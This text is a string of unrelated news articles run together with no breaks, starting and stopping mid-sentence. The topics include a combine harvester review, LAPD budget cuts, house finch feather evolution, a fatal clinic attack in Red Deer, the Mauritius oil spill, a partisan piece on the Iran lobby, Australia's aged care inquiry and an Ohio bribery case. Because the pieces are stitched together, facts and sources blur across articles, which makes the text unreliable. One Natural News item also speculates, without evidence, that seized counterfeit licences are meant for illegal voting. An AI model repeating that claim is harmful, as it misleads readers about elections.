rotors alone. Although flagged up as an in-between-sized combine, there is a natural tendency to compare the CH7.70 with its smaller stablemate, the CX6.90, as it represents the next step for operators who usually progress up the size ladder. The engine is a 374hp version of the Fiat Powertrain Cursor 9, around 10pc more powerful than the CR6.90, and it comes with a 1,200-hour warranty. Daily maintenance includes just four greasing points, with a 600-hour service interval, and there are new cutter heads available up to 9.15m in width. Although the idea of a hybrid harvester is not new, New Holland have come to the party with a machine that is more affordable to an Irish tillage farmer and is kinder to straw to boot. Mayor Eric Garcetti addresses protesters in early June. Activists have criticized him for allocating $3 billion in his 2020-21 budget for the Los Angeles Police Department. (Kent Nishimura / Los Angeles Times) For much of this year, activists across Los Angeles staged protests and flooded city meetings with angry phone calls, demanding that Mayor Eric Garcetti and the City Council zero out funding for the Police Department. "We want the dismantling of the LAPD entirely, filmmaker Carter Moon, 27, said during one budget hearing. We are working toward abolition, and every day you are just getting in our way." Council members ultimately cut the department's budget by $150 million, slashing overtime pay and taking police staffing to its lowest level since 2008. Yet even with those reductions, LAPD spending will remain at roughly $3 billion, about the same as last year. The department is still on track to consume 51% of the citys unrestricted revenue taxes and other city funds the mayor and council can spend any way they want, according to budget analysts. If city leaders continued cutting police spending by the same amount every year, Black Lives Matter-Los Angeles and their allies would not reach their target for defunding the LAPD until 2040, according to a Times data analysis. And because nearly one-fourth of police spending goes toward officers pensions a financial obligation of the city such a goal may be legally impossible anyway. (Priya Krishnakumar) Those data points serve as a backdrop for a series of virtual town hall meetings on "re-imagining" public safety at City Hall, which will begin this week. As they respond to the demands for change that followed the death of George Floyd in Minneapolis, council President Nury Martinez and her colleagues have begun asking residents in surveys to define the phrase "defund the police." Martinez and her colleagues voted last month to reduce the LAPD's operating budget by 8%. But they did so only after Garcetti's spending plan, which increased the department budget by 7%, went into effect. Activists say they're encouraged to see the council exploring proposals for moving some duties, such as traffic enforcement, out of the LAPD and into other city agencies. And they vowed to keep pressing City Hall to make deep cuts to the Police Department and use the money for other needs. Story continues Weve gotten to a place where divestment [in the LAPD] is officially on the table, said David Turner, a researcher for Black Lives Matter-L.A., who helped collect the data for the People's Budget, an alternative plan for city spending that would nearly eliminate LAPD funding. (Priya Krishnakumar) Turner called the $150-million cut a "step in the right direction." But Pete White, a longtime LAPD critic who heads the anti-poverty group Los Angeles Community Action Network, said he viewed the move as a distraction aimed at getting protesters off the streets. "The $150 million is nothing more than a political overture and a fig leaf," he said. "Do we want it? Yes. Is it enough? No." *** In this year's debate over racism, police brutality and public-safety spending at City Hall, progressive activists seized on a key statistic: Garcetti's budget for 2020-21 devoted nearly 54% of the city's unrestricted revenue money that can go toward any program to the LAPD. Grassroots organizers said the figure showed that city leaders had their priorities wrong. They called for the money to be redirected to housing, healthcare and other services aimed at safeguarding residents' economic and emotional well-being. (Priya Krishnakumar) The union that represents LAPD officers said such a move would spell disaster for the city, leading to more unsolved crimes and a major spike in violence. They also criticized protesters for focusing on unrestricted revenue, noting that those funds represent only half of overall city spending. Once every city program is accounted for, the LAPD makes up less than a third of the city's $10.5-billion budget, said Dustin DeRollo, spokesman for the Los Angeles Police Protective League. To get a better understanding of the growth in police spending, The Times examined L.A. city budgets spanning 20 years and found that the LAPD's share of unrestricted revenue did increase over that period, moving from more than 46% to nearly 54%. The vast majority of that increase took place between 2005 and 2013, when Mayor Antonio Villaraigosa and Garcetti, then the council's president, embarked on an expensive mission to expand the LAPD's ranks. When Villaraigosa took office in 2005, crime was a front-burner issue. L.A. experienced 489 homicides that year, almost twice the number recorded in 2019. On the campaign trail, Villaraigosa had hammered his opponent, then-Mayor James Hahn, for promising to hire 1,000 officers and falling far short. Villaraigosa vowed to succeed where Hahn had not. Former City Councilwoman Jan Perry, who represented part of South Los Angeles, supported the LAPD hiring plan at the time. During that period, she said, her district had been hit hard by gun violence. Her office raised money to help pay for funerals and heard regularly from residents demanding a faster police response. "I got really angry about helping people after they'd been harmed and not helping them enough before they'd been harmed," she said. Former City Councilwoman Jan Perry said her South Los Angeles district had been hit hard by gun violence in 2006, when the city began expanding the size of the LAPD. (Lawrence K. Ho / Los Angeles Times) Some of the loudest critics of the LAPD hiring initiative were not civil rights leaders but homeowner groups in more heavily white sections of the Westside and San Fernando Valley, who objected to the mayor's plan to pay for the added personnel: hiking trash pickup fees. When Villaraigosa took office, the city's Bureau of Sanitation was spending $187 million per year to keep the trash bills of homeowners and small apartment buildings artificially low. As a result, the sanitation agency was consuming 6% of the city's unrestricted funds. The LAPD consumed 47%. Villaraigosa and the council tripled the trash fees, freeing up money for the city budget, and hired more than 800 additional officers. By the time he left office, the sanitation subsidies were gone, and the LAPD employing 10,000 officers was consuming about 54% of the city's unrestricted revenue. But maintaining the larger police force came with trade-offs. After the 2008 recession plunged the city into financial crisis, L.A.'s elected leaders reduced tree trimming, sidewalk repairs, library hours and firefighter staffing, even as the LAPD kept hiring. They did so even though violent crime had plummeted more than 70% from its peak in 1993. "There was a collective fear that, without maintaining a commitment to a particular size of the [LAPD], the crime that the city experienced in the 90s and early 2000s would surface again," said Miguel Santana, the city's top budget official at the time. Many of the city's programs were eventually restored. But the economic downturn delivered huge losses to the city's public-safety pension fund, leaving taxpayers to make up the difference. The share of the city budget devoted to LAPD pensions tripled during Villaraigosa's tenure. Garcetti has defended the LAPD hiring initiative in recent weeks, saying it was accompanied by an expansion of late-night youth programs and other community safety initiatives. Those investments, taken together, saved thousands of lives, he said. "Some of us remember when we had open warfare on some of our streets," he said. Demonstrators with Black Lives Matter protested outside Los Angeles Police Department headquarters in May. (Gina Ferazzi / Los Angeles Times) Akili, an organizer with Black Lives Matter-Los Angeles who goes by a single name, took the opposite view, calling the police hiring initiative a big mistake. The LAPD expansion began when the department was pursuing a broken windows approach to public safety, aggressively enforcing misdemeanors, he said. It resulted in over-policing, said Akili, who volunteered for Villaraigosa's 2005 campaign. And when you over-police us, you wind up arresting a lot more of us. And you end up killing a lot more of us. Villaraigosa declined to comment. When he was mayor, he repeatedly attributed the city's huge drop in crime to his administration's handling of public safety. "Growing our Police Department and ... community policing is a big reason why we are safer today, he told The Times in 2013. Still, some criminal justice experts caution against drawing a link between crime rates and the size of a particular law enforcement agency, saying the body of studies do not show a clear correlation. New York City's Police Department shrank by thousands of officers during the Great Recession yet still experienced major reductions in crime, said James McCabe, professor of criminal justice at Sacred Heart University and a retired New York police officer. Why does crime occur? There are a lot of reasons. The police are a part of it. The economy is part of it. The demographics are part of it, McCabe said. "More cops equals less crime its not that simple. What's more important, McCabe said, is how officers are deployed. Cities should be analyzing criminal data and other factors to determine how many officers they need, he said. *** By 2013, L.A. residents had lost their appetite for increasing the size of the LAPD. City Controller Wendy Greuel ran for mayor that year on a plan to hire 2,000 additional officers, taking the force to 12,000. Garcetti denounced the idea as unrealistic and won the election. Nevertheless, Garcetti kept sworn staffing above 10,000 and even expanded the LAPD's operations, securing a contract to patrol L.A.'s buses and trains. While Villaraigosa worked to keep a lid on police salaries, Garcetti as mayor backed an expensive package of raises and bonuses, boosting the police budget even more. In 2013, mayoral candidate Wendy Greuel called for the hiring of 2,000 additional police officers. Her opponent, Eric Garcetti, called the plan unrealistic and won the election. (Katie Falkenberg / Los Angeles Times) That same year, L.A. voters rejected a sales-tax hike billed as a way of shielding the LAPD from budget cuts. Low-income neighborhoods in South Los Angeles voted strongly in favor of the measure, while voters in the wealthier areas of the Westside and northwest Valley rejected it overwhelmingly. Tyran Steward, a civil rights professor at Williams College, called those increases "gross and reprehensible," particularly in light of how much crime had fallen over 30 years. "You still have a commitment to a bloated police budget, again against the backdrop of a decline in crime, he said. (Priya Krishnakumar) LAPD retirement costs have continued growing and are on track to consume $683 million of the budget this year. Even if city leaders embrace the call to zero out police spending, they would be required to fund officers' pension benefits. Turner, the Black Lives Matter researcher, said he would be interested in exploring whether the city can cut the pensions of police officers who engage in misconduct that results in lawsuits against the city. After all, his group has already broken through a major political barrier: persuading City Council members that police staffing is no longer untouchable. Because of this year's cuts, the LAPD is on track to have 9,757 officers by mid-2021. With the council's latest cuts, the department's operating budget is expected to decrease by 1.5% compared to the prior year. Times Staff Writer Dakota Smith contributed to this report. Carotenoid-colored feathers of house finches (Haemorhous mexicanus). Credit: Alex Badyaev There's a paradox within the theory of evolution: The life forms that exist today are here because they were able to change when past environments disappeared. Yet, organisms evolve to fit into specific environmental niches. "Ever-increasing specialization and precision should be an evolutionary dead end, but that is not the case. How the ability to fit precisely into a current setting is reconciled with the ability to change is the most fundamental question in evolutionary biology," says Alex Badyaev, a University of Arizona professor of ecology and evolutionary biology . Badyaev is co-author of a paper published in Nature Communications that suggests an explanation based on the evolution of colorful pigments in bird feathers throughout North America. He wrote the paper with two former graduate studentslead author Ahva Potticary, now a UArizona lecturer, and Erin Morrison, now an assistant professor at New York University. There are two general possible solutions, according to Badyaev. First, the mechanisms that enable organisms to fit well into their current environment and the mechanisms that enable change in adaptations are distinctthe latter are suppressed as organisms fit better and better into their current setting and activated only when the environment changes. The second is that the mechanisms that make organisms fit into current environments are themselves modified during evolution. "Distinguishing between these possibilities is challenging because in evolutionary biology we necessarily study processes that occurred in the past, the events that we missed," he said. "So, instead, we infer what we missed from comparisons of species that exist today. Although this approach can tell us how well the current organisms fit into their current environment, it cannot tell us how they got here." Ultimately, the first scenario was supported by the researchers' work. The mechanisms that make organisms locally fit and those responsible for change are distinct and occur sequentially in evolution. Carotenoid Clues Badyaev and his team aimed to directly observe adaptation to new environments in action while specifically paying attention to the mechanisms involved. The opportunity was provided by the house finch, a ubiquitous Sonoran Desert bird that over the last century has spread throughout most of North America and now occupies the largest ecological ranges of any living bird species. Birds color themselves by eating and integrating pigmented molecules called carotenoids into their feathers. "Carotenoids are large molecules, and stuffing them into growing feather is a messy process, resulting in all kinds of structural modifications and aberrations to feathers," Badyaev said. "This presents a unique opportunity to study how well-characterized developmental mechanisms that produce an intricate feather co-evolve with unpredictable external inputs needed to color them." In feathers where structural integrity is essential, such as in temperature-regulating down or flight feathers, mechanisms evolve that buffer feather growth from incorporating carotenoids. For this reason, flight feathers or down feathers are almost never colorful in any bird species. On the opposite end of spectrum, ornamental feathers benefit from being colorful and evolve mechanisms that modify their structure to enable greater incorporation of carotenoids and to enhance their presentation. The authors took advantage of this diversity and studied how this array of mechanismsfrom complete buffering of carotenoids to fully embracing themactually evolves. The sources of carotenoid pigments differ across the house finch's huge range. In native desert populations, finches obtain their pigments from cactus pollen and fruits, while in urban populations they get them from newly introduced plant species and bird feeders. In northern populations, they incorporate the pigments from grass seeds, buds and berries. "As expected, within each of these locations finches have evolved precise adaptations to incorporate diverse local carotenoids into their feathers," Badyaev said. But the unique aspect of this study is that "we knew the colonization routes of these birds, which enabled us to observe how they modify these adaptations as they move from one location to the next over the last century." This approach not only allowed the team to directly study the process of evolution but also enabled them to study repeated evolution in the wild, because birds evolved distinct local adaptations in parallel from known starting points as they spread through the continent. "We got to replay the tape of evolution of this adaptation, instead of deducing the process from the outcome," Badyaev said. The team established 45 study populations along colonization routes that the species took from its native southern Arizona to the northwestern United States. They also explored how species changed within regions, such as between Arizona desert populations and urban populations on the University of Arizona campus and in Tucson. In all of these populations they examined microscopic structure and complete carotenoid composition in thousands upon thousands of feather samples. The unprecedented scale and depth of the studybelieved to be the largest of its kind in a wild bird speciesled to two discoveries. First, evolution proceeded by remarkably similar sequences from widely diverse starting points. Unfamiliar local carotenoids exerted major modifications in developing feathers at first, but the longer birds persisted in a region and the more familiar they became with local carotenoids, the better there were able to incorporate them into their feathers, eventually evolving precise local adaptations. Second, and most importantly, although carotenoids and their mixtures differed strongly between locations as distinct as deserts and northern evergreen forests, the mechanisms behind their incorporation into growing feathers were remarkably uniform and not specific to biochemical properties of individual carotenoid compounds. Instead, in all populations, evolution resulted from changes in mechanisms that buffered previous local adaptation from external stressors. These general stress-buffering mechanismswhat Badyaev called "the guardians of local adaptations"had to be recruited to allow evolution of new adaptations. In other words, "the boundaries of current adaptations become bridges between successive adaptions in evolution," Badyaev said. The next step for the authors is to study the origin of molecular and developmental mechanisms they implicated in stress-buffering processes in evolution. Explore further What the vibrant pigments of bird feathers can teach us about how evolution works More information: Ahva L. Potticary et al, Turning induced plasticity into refined adaptations during range expansion, Nature Communications (2020). Journal information: Nature Communications Ahva L. Potticary et al, Turning induced plasticity into refined adaptations during range expansion,(2020). DOI: 10.1038/s41467-020-16938-7 RED DEER, ALTA.A witness to a fatal attack at a central Alberta medical clinic says the victim was her family doctor. The assault happened at the Village Mall Walk-In Clinic in Red Deer just before noon on Monday. RCMP said in a release that one man was in custody and officers were not looking for other suspects. Anina Mullin said she waiting in the lobby of the clinic with her 13-year-old daughter when they heard a commotion. We heard banging and then, Help Me! Help Me! Call 911! Call 911! Mullin told rdnewsNOW. That was the doctor screaming, yelling. One of the receptionists ran to the door. It was at the far end of the walk-in clinic and she came running back like she had seen a ghost and was like, Can someone help him? Mullin said two larger men nearby sprang into action to assist. They came back quickly, telling everyone to get out. I grabbed my teenage daughters hand and we just ran as fast as we could out the doors. Once we got outside, we got into the truck and waited. And shes like, Mom can we go? And I said, No, Im too shaken. I cant. Mullin said the two men who had helped stood at the clinic door and held it shut until police arrived. The one police officer went to the door and opened the door and had his gun drawn and he yelled, Put it down, put it down or I will shoot you! said Mullin. At that time, a hammer flew at the police officer and bashed into the door and then flew outside. It was drenched in blood ... like you couldnt see any metal on it. It was just covered in blood. Mullin said the officer then ordered someone to put down the machete and went inside. He was quickly joined by other officers, who brought out the suspect in handcuffs. He was wearing a hooded sweater with his hood up, said Mullin. He had blood all around the rim of his sleeves and large clothes. From there, the ambulances came and they all rushed in with medical bags and a stretcher ... they also brought out the other patients I assume were in the other waiting rooms along with two other doctors and a bunch of nurses. After that, Mullin said her doctor was brought out on a stretcher. RdnewsNOW is not naming the physician. RCMP would not say if the victim was a doctor. Premier Jason Kenney and Alberta Health Minister Tyler Shandro both tweeted Monday that they were saddened to hear about the fatal attack on the doctor. Cant imagine the pain and sorrow his family and clinic staff are now going through, Kenney said. On behalf of all Albertans, our deepest condolences go out to them. Shandro said his thoughts and prayers are with all staff and patients who witnessed the attack. Dr. Christine Molnar, president of the Alberta Medical Association, said in a statement that the organization will be reaching out to local medical staff for support. Mullin said her physician was an amazing doctor. Ive never seen anything quite as horrific as that. Its definitely affected my daughter. Its hard to get out of your mind, she said. I dont know if I could ever go back into that clinic. Its awful. Read more about: The ship responsible for an oil spill in Mauritius is likely to break into two, worsening what is already an unmitigated ecological and economic disaster. Indigenous species are at risk of becoming extinct. Locals livelihoods are in danger. The island will take years to recover from the oil spill at Pointe dEsny. The population in Mauritius is oscillating between anger and despair. Anger because Mauritians feel that this catastrophe could have been avoided, and despair because of the extent of the damage. Grown men are crying who can no longer recognise the place where they grew up. Many have lost their livelihoods. Some rare plants and species, endemic to Mauritius, are in danger of becoming extinct. The world is looking at us and the world is crying with us, said Sebastien Sauvage, the spokesperson of Eco-Sud, a local environmental group. Oceanographer Vassen Kauppaymuthoo recalls seeing only the eyes of a man entirely covered in thick, black oil sludge as he came back from the sea. The stench is unbearable and it is making us sick, says local fisherman Baretta Matombe. The oil spill started on 6 August when a fuel tank of the Wakashio bulk carrier cracked and oil started leaking into the clear turquoise lagoon. This happened 12 days after the Panama-flagged but Japanese owned Wakashio freighter ran aground, on 25 July, damaging the coral reefs at Pointe dEsny, on the south-east of the island. It was travelling from China to Brazil, 200 km off course and heading well into the clearly marked waters of the Blue Bay Marine Park and the Pointe dEsny wetland, two UNESCO Ramsar protected sites of international importance. The ship was carrying 3,894 tons of fuel oil, 207 tons of marine gas oil and 90 tons of very heavy lubricating oil for machinery. Around 800 metric tons of oil have already leaked into the sea. Since 8 August, 1,200 tons of oil have been pumped out of the boat by two marine barges. There is approximately 1,900 tons of oil left in the Wakashio to be pumped out, provided the ship does not break in two. Story continues We hope to be able to pump the whole remaining stock of fuel oil by Tuesday 11 August, Environment minister, Kavy Ramano, told RFI. Should the weather pemit, we hope to end the operation with the boat on Wednesday. Wakashio will break Kauppaymuthoo, who is also an environmental engineer, told RFI that the question is not so much if the ship will break but when it will break. The damage we are seeing now is nothing compared to what may happen when the Wakashio will break, he said. The whole east coast, from Blue Bay to Grand Gaube will be affected. Sauvage said that the population is preparing for the worst. We had a meeting with the experts from Reunion island who told us that we are looking at years of cleaning up that mess. He said that because the currents and the prevailing winds in the south east are very strong, it is important to deploy a buffer zone so that the oil spill does not reach the east and north east parts of Mauritius. Wave of solidarity Over 5,000 Mauritians from all over the island have registered as volunteers with various NGOs to help with efforts to contain the oil spill. And another several thousand also spontaneously volunteered to clean up the polluted coastline without going through official channels. A huge wave of solidarity swept the island. People from everywhere joined forces to help and share resources. There is a tremendous wave of positive energy, said Sauvage. Our diaspora in France, UK, Australia and elsewhere has also been very active in showing support. Eco-Sud as well as other local groups such as the Mauritian Wildlife Foundation and Small Step Matters, are taking donations and have also started crowdfunding platforms for the oil spill cleaning up operations. Private companies have contributed to the salvage operations by providing transport, material, protective gear and their own workers. As it is sugar cane harvest season in Mauritius, the factories can give as much cane straw as needed to make floating booms which help contain the leaking oil. According to the environment ministry, its workers with the help of volunteers have managed to remove some 395 metric tons of fuel oil from the sea and some 90 tons of solid waste, oil sludges. Sauvage is worried about the health hazards of being exposed to the toxic pollutants. Our first concern is the health and safety of our people as we understand that there are many neurotoxic side-effects by breathing and being in contact with chemicals found in oil. So, our priority is to give them adequate protective equipment, he said. Minister Romano said that his ministry is providing protective gear to all the volunteers registered with them. Foreign help Six experts from Japan arrived in Mauritius on 11 August to assist with an unprecedented environmental emergency. France has already dispatched Le Champlain naval vessel, the CASA military aircraft, a dozen technical advisers and over 6 tons of equipment from neighbouring Reunion Island on 8 August after Mauritius appealed to President Emmanuel Macron . Destroyed livelihoods I cannot find the words to express what I am going through, 44-year old Baretta Matombe told RFI. I am beyond being heartbroken. He knows the area polluted by the oil spill like the back of his hand and is spending his days at sea deploying hand-made floating booms. Even if we are completely demoralised, we will never give up and well get rid of the single last drop of oil from our sea. Motombe has been a fisherman, from Vieux-Grand-Port village, for the past 25 years. Its the end of us, fishermen, here. It may be years before we can start fishing again. Eco-Sud and other NGOs are most concerned about the lost livelihood of the people who live on the coast and they are already looking at developing alternative jobs for them. The tourism industry, the pillar of the islands economy, already at a standstill for four months because of Covid-19 and closed borders, has now been dealt another serious blow. We are looking at thousands of jobs at stake on the east coast, said Thierry Merven, CEO of Beau Vallon Group which owns Preskil Island Resort at Pointe dEsny, not far from the Wakashio wreck. We have no idea when we will be able to start work again. What we know is that our activities will be considerably slowed down with major difficulties on how to resume work, he told RFI. Merven added that tourists are known to be reluctant to visit a place polluted by an oil spill. Civil society ignored Our response needs to be constantly re-adjusted because of the movement of the tides and the wind. The experts told us that they need us because we know the area so well. We know the currents, we know how to access certain places, comments Sauvage. He said that the authorities now realise that they cannot beat this problem on their own. But this had not always been the case and created a certain amount of frustration as there was hardly any interaction with the civil society. "But the Mauritian people did not wait for the government to immediately start taking actions." Sauvage believes that the current situation is the result of a series of unfortunate decisions by the government. But he also admits that it is now showing some good intentions. We told them that we need complete transparency and I think that they heard us, he added. Too late Kauppaymuthoo feels that the actions taken now come too late. Yet it could have been different. This why it is so sad, he says. We should have started pumping the oil out as soon as the Wakashio ran aground and not wait nearly two weeks later, when the hull cracked, to do so. Matombe too does not understand why the government was so slow to react. The ministers came on TV and kept saying that everything is under control and thats where we are now, with an oil spill that could have been avoided, he declares. Minister Ramano explains that there was a due process to follow. Once a boat is wrecked, a salvage team is put in place by the insurance company under the supervision of a salvage master who replaces the captain and is the only authority on the boat, he said. Polyeco, a Greek company, was hired by the insurers to provide emergency spill response. The salvage team - Smit and Nippon Salvage - are the experts appointed by the insurers who provided us with the necessary good practices and took over on 31 July. "They did not consider pumping the fuel and repeatedly told us that the risk of an oil spill was low, added Ramano. For Kauppaymuthoo, the government has been hiding behind hollow excuses. But this is a matter of environmental emergency. It is a national security issue, he declares. What a disaster. How did we get to this point when we could have taken actions much sooner? Various groups in Mauritius are calling for a commission of inquiry into the matter. We need to understand everything that happened right at the beginning when the Coast Guards started contacting the captain of MV Wakashio on 25 July, says Sauvage. The opposition is calling for the environment minister and the minister of marine resources, Sudheer Maudhoo, to step down. SPRINGFIELD - Police are seeking the publics help in locating an Indian Orchard man who was reported missing by his landlord. According to police spokesman Ryan Walsh, the missing man, Allen Albertson, 43, of Lorimer Street, was last seen by the landlord sometime in June. He is described as white, 6 feet tall and 240 pounds. Anyone who has information on where he may be found is asked to call police at 413 787-6360 or 413 787-6300. The National Iranian American Council (NIAC) is the Iran lobby in the United States. It operates in the open and with astonishing audacity in pushing the agenda of Iran's radical theocracy. During the months preceding the signing of the Iran nuclear deal, representatives of the NIAC made a total of 33 visits to the Obama White House to discuss the topic. During that time frame, Sahar Nowrouzzadeh, a former member of NIAC, served as the Iran director for President Obama's National Security Council (NSC). If you have ever wondered why the deal seemed almost as if it had been written by the Iranians themselves, in large measure, it was. NIAC loves the new draft Democratic Party platform. In fact, only days ago, it sent a letter to the Democratic National Committee applauding the party's call for a return to the Iran deal and an end to the "Muslim ban." The letter also castigated the Trump administration for its policies toward Iran. NIAC no doubt also rejoiced in the fact that the platform specifically opposes American involvement in "regime change." Why? Why is the lobbying arm of a hostile foreign government applauding the political platform of an American political party and interjecting itself into our internal electoral politics? The answer is that the Trump administration's policies toward Iran are working. In fact, the hard line that Trump has taken against the ayatollahs in Tehran has had an unprecedented economic, political, and military impact. The Iranian revolutionary regime that has terrorized the Middle East for decades may not survive another four years. If Iran's leaders cannot find a way to relieve the pressure, their days are certainly numbered. Sanctions have made it virtually impossible for Iran to sell oil. Without those revenues, Iran's entire revolutionary machine grinds to a halt. It cannot subsidize Hezb'allah. It cannot arm the Houthis in Yemen. It cannot finance the Revolutionary Guard. Meanwhile, the Trump administration is relentlessly closing the few loopholes that remain in sanctions and hunting down those who seek to evade them and continue to move Iranian oil. Companies that are complicit in Iranian oil sales to Venezuela, for instance, are now in danger of having their vessels and assets seized. The arms embargo has relegated the Iranian military to the permanent status of a third-rate force. While the United States and its allies field F-35 stealth jets and are moving aggressively into networked formations of unmanned aerial vehicles, Iran continues to rely on an air force composed of 1980s vintage aircraft that are poorly maintained and only marginally capable. The same disparity exists with regard to all other branches of the military. The Iranians are also now faced with reinvigorated American alliances not only with Israel, but also with Saudi Arabia and the Sunni Gulf Arab states. A new generation of Arab leaders, principally in Saudi Arabia, is moving to expand women's rights, curb terrorism, and move in the direction of ending the once seemingly intractable Arab-Israeli conflict as well as the war in Yemen. An isolated Iran run by men mired in the thinking of the 7th century A.D. is face to face with an alliance of modern, prosperous Middle Eastern states allied with the world's only remaining superpower. The cumulative impact of the Trump administration's policies inside Iran has been dramatic. The ayatollahs, faced with the coronavirus, protests and strikes, and the sabotage of important infrastructure elements, are resorting to draconian measures to cling to power. Only the widespread use of false imprisonment, torture, and lethal force has quelled rioting all across the nation. The calm is only temporary. The ground underneath the feet of Iran's leaders is catching fire. Commenting on NIAC's endorsement of the Democratic platform, Richard Grenell, former director of National Intelligence, had this to say: "Yikes. The Iranian regime's lobby endorses the Democrat's platform. [Joe Biden] has a huge problem." Indeed, Biden has a considerable amount of explaining to do to the American people. A Democrat presidential platform that is applauded by a brutal, medieval regime that has killed hundreds of Americans and spreads worldwide terror must be viewed with suspicion at best. It is the equivalent of having ISIS endorse your candidacy. From the viewpoint of the clerics and the Iranian Revolutionary Guard Corps generals who run Iran today, though, it is they who have the problem. The resolve demonstrated by the Trump administration is crushing the life out of one of the world's most brutal and reprehensible regimes. Vacillation and weakness have been replaced by relentless, suffocating pressure. Iran's leaders are hanging on by their fingernails. Biden is their only hope. He said it had "starkly exposed all of the flaws of the aged care sector which have been highlighted during this royal commission". Mr Rozen cited a series of emails showing NSWs policy of caring for aged care residents who were sick with COVID-19 in the nursing home - known as 'Hospital in the Home' - was ageist. Older people are not less deserving of hospital treatment because they are old, he said in his opening statement. Mr Rozen disputed the claim by Commonwealth Health Minister Greg Hunt on July 29 - when COVID-19 was raging through a large number of nursing homes in Melbourne with devastating consequences - that aged care around the country has been immensely prepared. While there was undoubtedly a great deal done to prepare the Australian health sector more generally for the pandemic, the evidence will reveal that neither the Commonwealth Department of Health nor the aged care regulator developed a COVID-19 plan specifically for the aged care sector. He cited a lack of updates for the sector, disagreement and confusion about processes, and the inability of the Aged Care Quality and Safety Commissioner to investigate what happened, or even enter facilities without giving prior warning. Loading Mr Rozen said the evidence at the three days of hearings would reveal that neither the Commonwealth Department of Health nor the aged care regulator developed a COVID-19 plan specifically for the aged care sector. And out of 45 statements released on COVID-19 by the Australian Health Protection Principal Committee (AHPPC) from March 17 to August 3, only three were specifically addressed at aged care. There had been eight statements about children and schools in that same period. Mr Rozen said there had been vigorous disagreement between the Commonwealth and NSW officials on the question of hospitalisation of COVID-19 positive residents in the early days of the outbreak in NSW. In emails between NSW and Commonwealth officials in April, NSW was quoted saying their preference is not to decant residents into hospitals given the precedent this would set. Need to find solutions that enable appropriate care to be provided in the facility. Looking at Hospital in the Home and in-reach palliative care if needed. Only two infected residents at Anglicare's Newmarch House went to hospital. Credit:Edwina Pickles Of the 37 residents who tested positive to COVID-19 at Newmarch House in Sydney, only two were transferred to hospital. One of those died. The other 16 residents who died of COVID-19 were all treated at Newmarch House, Mr Rozen said. In contrast, six residents died at Dorothy Henderson Lodge, where 13 of the 16 positive cases were sent to hospital. The commission heard that Dorothy Henderson Lodge had appointed two specialists in infection control within 24 hours of an outbreak, and the initial response was to move even those residents with mild symptoms to hospital. In contrast, there was a delay of nearly two weeks at Newmarch in getting infection control experts. Melanie Dicks, the regional manager for BaptistCare, the operator of Dorothy Henderson Lodge, said moving residents to hospital during the first week had "absolutely" limited the outbreak. "I don't think you could say anything less; that anybody who was COVID positive going there in the first place ensured that they got the care they needed and then it allowed us to actually stabilise our workforce as well." In response to NSWs reluctance to move patients to hospital, the Aged Care Quality and Safety Commission Janet Anderson wrote in an email that we must be vigilant in calling out the elephant in the room if ever we sense it might be present. The Dorothy Henderson Lodge in Macquarie Park, where six residents died from COVID-19. Credit:Wolter Peeters To be clearer if there is a view sitting behind the NSW Health position that aged care residents with COVID-19 should always be cared for in situ and should not be transferred to a hospital in any circumstances, then WE MUST CALL THIS OUT as an intolerable and unsupportable assumption. The Commission heard that South Australian policy was also to transfer patients with COVID-19 to hospital. This overrode do not hospitalise requests. UNSW Healthcare Infection and Infectious Diseases Control professor of epidemiology Mary-Louise McLaws said it was difficult to keep negative residents safe. So regardless of each State's ability to take residents into hospitals, they need to be decanted, they need to be removed and put somewhere else that's safe, looked after by highly trained staff, she said. Professor McLaws, a WHO advisor on the pandemic, said the evidence from overseas showed the attack rate, once a resident had tested positive, made it very difficult to keep the rest safe. And the attack rate can go from anywhere between very negligible up to 100 per cent. So it's very difficult. Loading Royal Commissioner Tony Pagone said the impact of the pandemic had been, for people in aged care, "tragic in ways that were unimagined a few months ago. The full impact is not yet known". He extended his sympathy and understanding to "those who have not been able to spend time with their relatives or friends in aged care because of of the restrictions introduced to deal with the pandemic". "We feel your losses and your absences deeply. We have heard many of your stories and have been moved by them," said Mr Pagone. (Natural News) Less than three months remain until voters head to the polls to pull the lever for Americas next president, and as you might expect, subversive forces appear to be trying to sway the outcome. Customs and Border Protection (CBP) officers working at Chicagos OHare International Airport have reportedly intercepted numerous shipments from communist China containing counterfeit U.S. driver licenses, which some believe could be intended to facilitate illegal voting just like what Google is doing. All in all, agents have intercepted about 20,000 of these fake IDs, though it remains unclear how many more may have slipped through undetected. The counterfeit documents were shipped mainly from Hong Kong and China, with some also originating in South Korea and the United Kingdom. Oddly enough, news reports are not specifying to whom these IDs were sent, but are rather focusing on the fact that many of them are coming from communist China. These counterfeit drivers licenses can lead to disastrous consequences, stated CBPs Ralph Piccirilli in an oddly worded statement. Criminal organizations use these counterfeit IDs to avoid attracting attention to their illegal activities. While a bulk of the fake IDs are said to have been intended for underage college students, at least one had a barcode emblazoned on the back of it that was able to be scanned, which suggests that hackers or whomever is involved could have direct ties to government departments that oversee motor vehicles. Are child traffickers responsible for these fake IDs? Another suspicion is that these fake IDs may be tied to child traffickers and sex criminals because it is apparently a common practice for them to use counterfeit identity documents to subvert law enforcement. These fraudulent identity documents can lead to identity theft, worksite enforcement, critical infrastructure protection, (and) fraud linked to immigration-related crimes such as human smuggling and human trafficking, an official CBP press release reads. [T]hese documents can be used by those individuals associated with terrorism to minimize scrutiny from travel screening measures. It is also rather odd that a large number of counterfeit IDs supposedly intended for underage college students would be pouring into our country at a time when in-person education has been placed on hold due to the Wuhan coronavirus (COVID-19). The whole thing is oddly suspicious, especially since this is an election year and not just any election year, but one with explosive ramifications regardless of the outcome. If Trump wins reelection, then the left will go even more bonkers than current news headlines suggest. And if Biden unseats Trump, which could be what these fake IDs were intended to facilitate, then the nation will quickly shift into uncharted territory. What is further odd is the fact that authorities failed to wait until these IDs were actually delivered in order to deliver justice to the recipients. Arrests could have been made at the time of delivery to stop the culprits from ordering even more fake IDs that have the potential to make it through screenings. Perhaps whoever was in charge of this bust should have tracked the bundle and let the package get delivered to the person who ordered them and then make an arrest, is how one Zero Hedge commenter put it. But they didnt do that. Why not? Nobody is sending these things gratis, someone in the US is ordering and paying for them, yet you seem to be blaming the supplier for how their product is used, wrote another about how communist China is being blamed simply because that is where these IDs were apparently manufactured. Like blaming Ford for a hit and run because that was the brand of car used. For more related news about efforts to thwart the election outcome, be sure to check out Rigged.news. Sources for this article include: ZeroHedge.com NaturalNews.com Ohio House Democratic leaders announced Aug. 11 that they have filed a protest of the passage of House Bill 6, the bill at the center of an alleged bribery scandal involving (now former) Speaker of the House Larry Householder. Householder and four others were arrested July 21 for allegedly violating the racketeering statute through honest services wire fraud, receipt of millions of dollars in bribes and money laundering. The $60 million case was called likely 